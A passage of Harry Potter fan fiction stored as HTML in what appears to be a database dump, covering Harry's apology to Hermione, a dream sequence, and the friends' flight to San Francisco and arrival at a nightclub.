Don&#8217;t shut him out just because he was trying to help you, you are so close to being happy do you really want to throw it all away?&#8221; Zara stood &#8220;he wants to talk to you, he&#8217;s waiting out the door right now.&#8221; She looked towards the door, &#8220;should I let him come in?&#8221;</p>\n\n<p>Hermione thought a moment and then nodded, she continued to look into her lap as Zara walked towards the door.</p>\n\n<p>Zara opened the door and saw Harry practically jump away from the wall, &#8220;well she&#8217;s all yours now.&#8221; Zara smiled. She stepped out of the room and Harry walked in.&nbsp; &#8220;Good luck.&#8221; She said and she saw Harry close the door.</p>\n\n<p>Harry turned around seeing Hermione sitting on the edge of her bed, her head hanging down. He could feel his heart still in his feet as he looked at her, &#8220;Hermione I am so very sorry.&#8221; </p>\n\n<p>&#8220;Are you?&#8221; She said without turning. &#8220;Why are you sorry? Is it because I found out what you did, and that you are sorry that you got caught?&#8221;</p>\n\n<p>&#8220;No.&#8221; He glanced to the floor briefly before slowly moving over to where Hermione was sitting.&nbsp; He stepped in front of her but she did not lift her head, it was still lowered.&nbsp; &#8220;I&#8217;m sorry for even doing that, I knew it was wrong. And I would understand if you never trusted me again.&#8221;</p>\n\n<p>Hermione looked up at him this time &#8220;why then, if you knew it was wrong why did you go into my mind?&#8221;</p>\n\n<p>Harry looked directly into her eyes &#8220;You were suffering Hermione, I felt so helpless not being able to&#8212;&#8221; He sat down next to her&nbsp; &#8220;you are the most important person to me, when you are suffering I feel it too.&nbsp; I had to do something and I&#8217;m sorry I couldn&#8217;t think of another way.&#8221;&nbsp; He saw her searching him, his eyes, his soul, wondering if it was the truth.</p>\n\n<p><i>He&#8217;s telling the truth</i> she thought to herself.&nbsp; Hermione saw that he was truly sorry and yes he invaded her mind, but only to help her.&nbsp; Maybe she did overreact a little.&nbsp; If she would have just told him in the beginning what was going on, he would never have even thought about putting that truth spell on her.&nbsp; &#8220;Harry just don&#8217;t ever do that again.&#8221; She said firmly but quietly. </p>\n\n<p>His arms went immediately around her, he was almost afraid he would never be able to hold her again.&nbsp; The way she looked at him earlier was heart crushing, he never wanted to see that look on her face ever again.&nbsp; He felt her arms go around his waist and her head lean against his chest, she just felt so good holding her in his arms he didn&#8217;t want to move.&nbsp; </p>\n\n<p>They just sat there in the silence of the room he knew that time was passing and that it was getting late.&nbsp; Harry lifted his chin off of Hermione&#8217;s forehead, &#8220;Hermione I&#8217;m going to go now okay?&#8221;</p>\n\n<p>Her arms tightened, &#8220;no.&#8221;</p>\n\n<p>Harry made a tiny laughing sound, &#8220;I have to go.&#8221; He tried to pull her arms from around him, but she was persistent and he was not going to get away.</p>\n\n<p>&#8220;You can stay in here with me, I don&#8217;t want you to go.&#8221;</p>\n\n<p>&#8220;Hermione what about your roommates?&#8221; He glanced down at the top of her head.</p>\n\n<p>&#8220;They can&#8217;t have you, all mine.&#8221; And her arms tightened.</p>\n\n<p>He made another tiny laugh &#8220;alright, I know when to give up.&#8221;</p>\n\n<p>Hermione pulled back the covers on her bed and sat down while Harry removed his shoes and climbed in next to her. He removed his glasses setting them on the nightstand next to her bed.&nbsp; Hermione leaned her head upon his chest as his arms came around her, the soft and gentle beat of his heart lulled her into sleep&#8212; <i>She was on top of her bed lying on her stomach writing on a piece of parchment, she lifted her head looking back at him who had his head resting on her bare back, he was eating a bunch of grapes.&nbsp; &#8220;Torrin I don&#8217;t know if they are even going to listen to me.&nbsp; Slytherin seems to have their ear and what ever he says is right.&#8221; She looked down at her parchment again.</i></p>\n\n<p><i></i></p>\n\n<p><i>Torrin lifted his head off of her sitting up he ran his hand through his dark hair, &#8220;If you want my honesty Jasmine, you don&#8217;t stand a chance against the council and Slytherin.&nbsp; But don&#8217;t worry I have a plan.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Jasmine sat up wrapping the sheet around her bosom, &#8220;a plan, Torrin what are you doing? You can not defy the council&#8217;s decision.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;They are not going to put you to death without answering to me.&#8221; He said heroically causing Jasmine to break into laughter.&nbsp; He glanced at her oddly, &#8220;what&#8217;s so funny?&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>She shook her head, &#8220;how are you going to stop them?&#8221; there was still a tiny hint of laughter in her voice.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Well if spells won&#8217;t subdue them then the second plan will come into action.&nbsp; The surprise attack.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Surprise attack?&#8221;&nbsp; Jasmine shook her head.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Yes the surprise attack.&nbsp; Ulrich, Kai and Alina have agreed to help me if it comes down to that.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Ulrich is going to help me, he is going to go against his father to help me?&#8221; She didn&#8217;t believe that for a moment.</i></p>\n\n<p><i></i></p>\n\n<p><i>Torrin nodded his head, &#8220;yes he is.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Torrin, I am not afraid to die for what I believe in.&nbsp; I will not give the scepter to them, The people will have their freedoms and I will die fighting for their rights if I have to.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;They will not take you from me Jasmine, I will not let them.&#8221; He lifted a hand caressing her cheek.&nbsp; </i></p>\n\n<p><i></i></p>\n\n<p><i>She lowered her eyes from his &#8220;you have no control over what they do Torrin.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Torrin lifted his other hand holding her face he saw her look up at him, &#8220;I mean it Jasmine they will not take you.&#8221;&nbsp; He was staring directly into her eyes &#8220;Trust me Jasmine, you will not die.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;I trust you Torrin.&#8221; </i></p>\n\n<p><i></i></p>\n\n<p><i>He smiled briefly before he leaned in pressing his lips against hers&#8212;</i>&#8220;Zara he can&#8217;t be in here.&#8221; Harry heard whispering and woke from his sleep, he kept his eyes closed as if he were still asleep.</p>\n\n<p>&#8220;It will be fine, he&#8217;s already asleep so it doesn&#8217;t really matter.&#8221; Zara said</p>\n\n<p>Harry heard more grumbling and complaining but it soon stopped and the room was silent again.&nbsp; Harry opened his eyes, the moonlight was pouring in through the window.&nbsp; He looked at Hermione who was sleeping soundly.&nbsp; He smiled briefly moving her hair away from her face and lightly kissing her forehead.&nbsp; He settled back against the pillow and closed his eyes to try and go back to sleep.</p>\n\n<p>=====</p>\n\n<p>Fooled you all with the secret huh? J Stay tuned for Chapter 12&#8212;California here we come. Please Read and Review thanks, Ryoko</p> '),
	(41, 12, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp; Disclaimer: Alright all the Harry Potter characters belong to J.K. Rowlings, except\nfor the plot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,, Leelee,\nKai, Finley and Orvin.&nbsp; Those are mine.\nSo please don&#8217;t sue me because I don&#8217;t have anything &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter 12&#8212;California Here We Come</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\ncarried his suitcase towards the train following after his friends, Ginny was\nfollowing after him.&nbsp; Ron set his case\ndown on the ground and he turned to his sister. &#8220;Are you sure you&#8217;ll be alright\nhere by yourself?&nbsp;&nbsp; You can still go with\nmum, dad, Fred and George to visit Charlie.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;ll\nbe fine Ron,&#8221; Ginny smiled &#8220;You go and have fun, I want to hear all about your\nvacation when you get back.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nnodded with a smile and he picked up his case again, &#8220;well I&#8217;ll see you in\nabout two weeks. Stay out of trouble.&#8221; He winked and climbed up onto the train</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nshould be telling you that.&#8221; Ginny shouted up at him with a hint of laughter in\nher voice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nwent into the compartment that Harry, Hermione and Zara were sitting in, and he\nclosed the door behind him.&nbsp; He sat down\nnext to Zara &#8220;so how exactly are we getting to where you live?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;After\nwe get off at that train station we&#8217;ll have to take a muggle taxi to the\nairport.&#8221; Zara pulled out four airplane tickets.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlooked at them and then at Zara, &#8220;Zara are those first class tickets?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Of\ncourse, I wouldn&#8217;t have bought anything but first class.&#8221; Zara said with a\nsmile, and held it out to for Hermione to take it for a closer look.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And\nyou bought four of them?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlooked between the two girls, he really didn&#8217;t see the big deal about it.&nbsp; &#8220;And that means what exactly?&#8221; He waited for\nan answer and when he didn&#8217;t get it he just shrugged it off.&nbsp; As the train started moving down the tracks,\nRon felt the need to use the restroom, &#8220;well nature calls, I&#8217;ll be right\nback.&#8221;&nbsp; As soon as Ron was out of the compartment\nHarry turned to Zara.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\ncan afford to take three people including yourself in a first class\nsection?&#8221;&nbsp; Harry felt a little concerned,\nshe didn&#8217;t even ask them to pitch in for the cost of the plane ticket.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah,&#8221;\nZara felt confused. &#8220;Is there a problem?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ron\nisn&#8217;t going to be able to pay you back for this, I mean Hermione and I can.&#8221;\nHarry said he looked next to him at Hermione who was nodding.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ndon&#8217;t expect Ron or you two to pay me back,&#8221; Zara leaned back against the seat.\n&#8220;I invited you guys to come home with me, and I was always taught to be a good\nhostess.&nbsp; Trust me it will all be fine.&#8221;\nShe smiled with confidence.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione looked at each other unsure and then back at Zara, Harry was about\nto say something else when the compartment door opened and Ron came back inside\nwith a smile.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both\nHermione and Harry smiled at Ron, then cuddled closer to each other and gazed\nout the window watching the scenery go by. In what seemed like a short time the\ntrain pulled into the station.&nbsp; They got\noff the train at Platform 9 &#190; and walked through the barrier to muggle London. They hailed a taxi and were on their way to the\nairport.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nwas in awe at the sight of the airport, he had never seen something so\nwonderful in his entire life.&nbsp; They\nchecked their baggage with a little man at the counter who had a symbol of an\nAmerican airline pinned on his uniform.&nbsp;\nThey all started walking through the airport looking for their gate\nnumber.&nbsp; Ron saw a moving staircase, not\nlike the stairs at Hogwarts, these were silver and only the stairs were moving\nnot the whole thing.&nbsp; It looked like they\nwere flowing gently up stream.&nbsp; The\nstairs next to it were flowing down stream it looked so easy.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione went up the moving stairs first, Ron watched with amazement as\nthey reached the top.&nbsp; &#8220;Whoa,&#8221; he said\nthen looking at Zara. &#8220;Do I just step on it and it will take me up there just\nlike them?&#8221; He pointed up to Harry and Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yep&#8221;\nZara smiled, trying her hardest not to laugh. &#8220;This is called an escalator\nwhere I come from.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay.&#8221;\nRon lifted his foot slowly and set it down on the next stair that came up, half\nof him started rising up he panicked and pulled his foot back down.&nbsp; He looked at Zara who shook her head back and\nforth.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look\nyou&#8217;re gonna just have to go for it, I know it&#8217;s a little strange at first but\nyou really just have to jump in if you wanna get your feet wet.&#8221; Zara said and\ntook his hand in hers. &#8220;Come on we&#8217;ll do it together.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nnodded and he did what Zara did, they lifted their feet and stepped up on the\nstairs that were moving upward. With in seconds they reached the top where\nHermione and Harry were waiting.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So\nhow was your first time up Ron?&#8221; Hermione smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It\nwasn&#8217;t too bad.&#8221; Ron said in confidence feeling like he had overcome a great\nobstacle.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\ncontinued walking through the upper level of the airport and found their gate\nnumber.&nbsp; The flight attendants weren&#8217;t\nletting people on the plane yet, the last person from the flight that had\nlanded was getting off.&nbsp; They sat down in\nthese little plastic, uncomfortable red chairs.&nbsp;\nAfter the new pilot and attendants went onto the plane first, a\nmicrophone was sounded.&nbsp; First class\npassengers were allowed on first as the attendant called for the seat numbers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s\nus.&#8221; Zara said with a smile.&nbsp; She pulled\nthe tickets from her carry on bag and handed each one to her friends.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nwalked right up to the door and handed their ticket to the attendant and she checked\nand tore off something, she did that for all of them and the proceeded onto the\nplane.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlooked all around him as he looked through the narrow hall way towards a door\nwith two ladies smiling.&nbsp; He couldn&#8217;t\nhear what they were saying, for some reason his ears were getting fuzzy.&nbsp; Ron tapped Zara on the shoulder, &#8220;I can&#8217;t\nhear very well.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nleaned closer to his ear, &#8220;Don&#8217;t worry it&#8217;s perfectly normal it&#8217;s just the air\npressure.&nbsp; It will be better once we get\ninside the plane. It won&#8217;t be much better, but it will be better than it is\nnow.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nwent through the door and into the first class section, Ron could see down the\nwalk way that the seats were smaller and there were more of them crammed into a\nsmaller area.&nbsp; He looked down at his seat\nwhich was big, he ran his hand down the chair&nbsp;\nwhich was made of a fine, soft leather.&nbsp;\nHe wondered where they got the dragon hide to supply this leather?&nbsp; Ron sat down in the seat next to Zara, the\nseat was cushiony soft and he felt his body relax in the seat. He had more than\nenough leg room as he stretched his really long legs forward.&nbsp; He looked ahead, there was some kind of flat\nobject on the wall. An object he had never seen before.&nbsp; &#8220;Zara what&#8217;s that?&#8221; He pointed to the object\non the wall.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nsmiled, <i style="mso-bidi-font-style:normal">this was just too cute</i>. She\nthought to herself.&nbsp; For once she felt\nreally smart. &#8220;That&#8217;s a video screen for watching movies, usually in long\nflights like this they show a movie to keep us entertained.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Uh,\nwhat&#8217;s a movie?&#8221; He felt so confused.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\npatted his hand tenderly, &#8220;you&#8216;ll see.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">In\nthe seats in front of them Harry and Hermione got up on their knees and looked\nbehind them, &#8220;How are you doing Ron?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This\nis all so strange, I don&#8217;t know if I&#8217;ll be able to handle any of this muggle stuff.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nthink it&#8217;s strange now, just wait till the plane takes off.&#8221; Hermione said with\na smile.&nbsp; It will be kind of like that\ncar of yours.&#8221; She couldn&#8217;t say exactly what it was for she knew not to speak\nof such things around muggles.&nbsp; She hoped\nRon got the idea. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlooked behind him down the aisle, &#8220;why are those seats much smaller than\nthese?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s\nthe seat they paid for.&#8221; Zara said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Shouldn&#8217;t\nthe seats be equal if you all pay the same amount?&#8221; Ron looked forward again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nlooked up at Harry and Hermione who shrugged.&nbsp;\nHermione nodded and made a motion with her hand to go ahead and tell him\nabout the seating.&nbsp; The flight\nattendant&#8217;s voice was heard over the loud speaker which cut off Zara.&nbsp; Which she was happy for, Harry and Hermione\nsat down and faced the front.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nheard the attendant welcoming them all on the flight while another one was\nstanding up in front describing with props how to buckle the seat belt and what\nto do if the plane goes down.&nbsp; Zara\nlooked next to her at Ron who seemed petrified at hearing what to do if the\nplane goes down.&nbsp; She could see the\nwhites of his eyes and he wasn&#8217;t even blinking.&nbsp;\nZara tapped him on the arm and he turned slowly facing her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\ntook in a deep breath &#8220;is this dangerous?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It\ncan be, you just have to be aware that nothing is fool proof.&nbsp; It&#8217;s a pretty relaxing way to travel.&nbsp; Don&#8217;t worry more people die in car accidents\nthan in an airplane.&#8221; She smiled with reassurance. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her\nreassurance didn&#8217;t help him, he felt the plane start to move and he clutched\nthe arms of his seat tightly, so tight that he was loosing all the coloring in\nhis hands.&nbsp; The plane began to pick up\nspeed which was really bumpy making his heart race.&nbsp; Ron shut his eyes tight as the plane lifted\ninto the air and he was pressed back against his seat.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nplane leveled off and was flying smoothly through the sky, Ron opened one eye\nand then another, yep everything was alright.&nbsp;\nHe let go of the arms of chair and he felt the blood rushing back into\nhis fingers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Scared\nwere you?&#8221; Zara said with a smirk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nah,&#8221;\nRon said with confidence as he saw Zara turn and look out the window.&nbsp; She smiled at the world below.&nbsp; It was so neat looking at the world from so\nfar up in the air, looking down on a world that had no idea that there was a\nhidden secret with in it. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">For\nthe first time in his life Ron had watched a movie, Zara told him the movie was\ncalled Pretty Woman.&nbsp; He was so impressed\nby it.&nbsp; Never had he seen one, let alone\nknew about them.&nbsp; The lives of the people\non screen were amazing and perfect, the way they looked was perfect.&nbsp; He had found his first actress crush he would\nprobably never see her on screen again.&nbsp;\n&#8220;What was her name?&#8221; Ron asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nin the movie her name was Vivian, but in real life her name is Julia.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nyou said this wasn&#8217;t real, but it looked so real.&#8221; He said with astonishment.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s\nthe magic of movies.&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;They\ndidn&#8217;t use&#8212;&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\ncut him off &#8220;of course not, it&#8217;s just a term that we all use for it.&#8221; She\nleaned in closer so she wouldn&#8217;t have to speak so loudly. &#8220;Most muggles call it\nmagic because it just looks so real, when it isn&#8217;t at all.&#8221; Zara smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After\nmany hours on the plane they finally reached the San Francisco Airport which\nwas crawling with people, it was so busy that you couldn&#8217;t even walk through it\nwithout almost bumping into someone.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Boy\nthis place is crowded.&#8221; Harry said as he looked around at all the people.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nlaughed, &#8220;yeah and this is just the airport.&#8221;&nbsp;\nZara jumped up looking for someone.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Zara\nwhat are doing?&#8221; Ron asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nlooking for ma.&#8221; She jumped again and didn&#8217;t find her. &#8220;Man I hope she didn&#8217;t\nforget.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Forget?&#8221;\nHermione asked in horror.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah\nshe has a tendency to forget to pick me up or take me places, even when I was\nlittle.&#8221; Zara jumped again, &#8220;I might have to find a phone booth.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\njumped and saw a hand waving to her, she sighed with relief and started to run\nforward.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her\nfriends followed after her as she went into the outstretched arms of some\nstrange yet very good looking man with two tattoos on his arms.&nbsp; Ron couldn&#8217;t help the slight disgusted\nfeeling in his stomach as he approached Zara hugging this strange looking\nperson.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\npulled away from him and looked up at him. &#8220;Where&#8217;s ma?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;She\nwas detained at the club so she sent me.&#8221; He said with a smile.&nbsp; He then looked at Zara&#8217;s new friends, whom he\nthought would be the ones he already knew. &#8220;So are these your new friends,\nwhere&#8217;s Jewel and Enrique?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;They\ndecided to stay this year, and yes these are my new friends.&#8221; She smiled at\nthem and pointed to each one, &#8220;this is Hermione Granger, Harry Potter and Ron\nWeasley.&#8221; She smiled up at Ron and then turned to her friend. &#8220;And this guy is\nGuido, my ma&#8217;s fianc&#233;.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nfelt his stomach relax and he smiled at Guido.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nyour ma told me to take you and your friends to the club to stop by and see\nher.&#8221; Guido replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay\nwell let&#8217;s go.&#8221; Zara said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After\nthey picked up their bags and suitcases at the baggage claim they made their\nway though the large crowd of people out into the parking lot.&nbsp; The got into Guido&#8217;s sixty six mustang\nconvertible and he pulled out onto the road.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron,\nHermione and Harry were staring at the scenery of all the buildings, Zara\npointed out special land marks that you could see from the distance, like the\nkoit tower for one, which on a clear day you can see so far.&nbsp; She pointed out the cable cars which is an\nexcellent way to get around. Union square and the famous piers which grab all\nthe tourists attention and perhaps they would visit them too. They were more\nimpressed with all the houses being so close together and that no matter where\nthey drove, the sidewalks were crawling with people trying to move quickly and\nget on with their lives.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Guido\npulled the car into a parking lot and the four of them got out.&nbsp; Zara led her friends towards a building where\nthere were people waiting in a line to get in. A neon sign formed the letter\nClub Gothic. They could hear muffled music beats thumping along outside.&nbsp; Two bouncers were standing next to the door\nwith their arms folded across their huge chests.&nbsp; Ron, Harry and Hermione were a little nervous\nthey didn&#8217;t think they would be let in.&nbsp;\nZara told them to come on and they followed her right through the line\nand up to the bouncers. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey\nSnake, Blade.&#8221; She smiled &#8220;how&#8217;s it going, would you mind letting us in?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Pretty\ngood Zara and sure you guys come on in.&#8221; Blade announced with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Any\ndrug problems?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;There\nwere a few incidents when a group tried to sneak some in, but I caught them.&#8221;\nSnake announced with pride.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nyeah and this one person actually made it inside with some, it&#8217;s a shame you\nweren&#8217;t here to set them straight.&#8221; Blade replied.&nbsp; &#8220;She&#8217;s got a mean right hook.&#8221;&nbsp; He said looking at Zara&#8217;s friends.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" 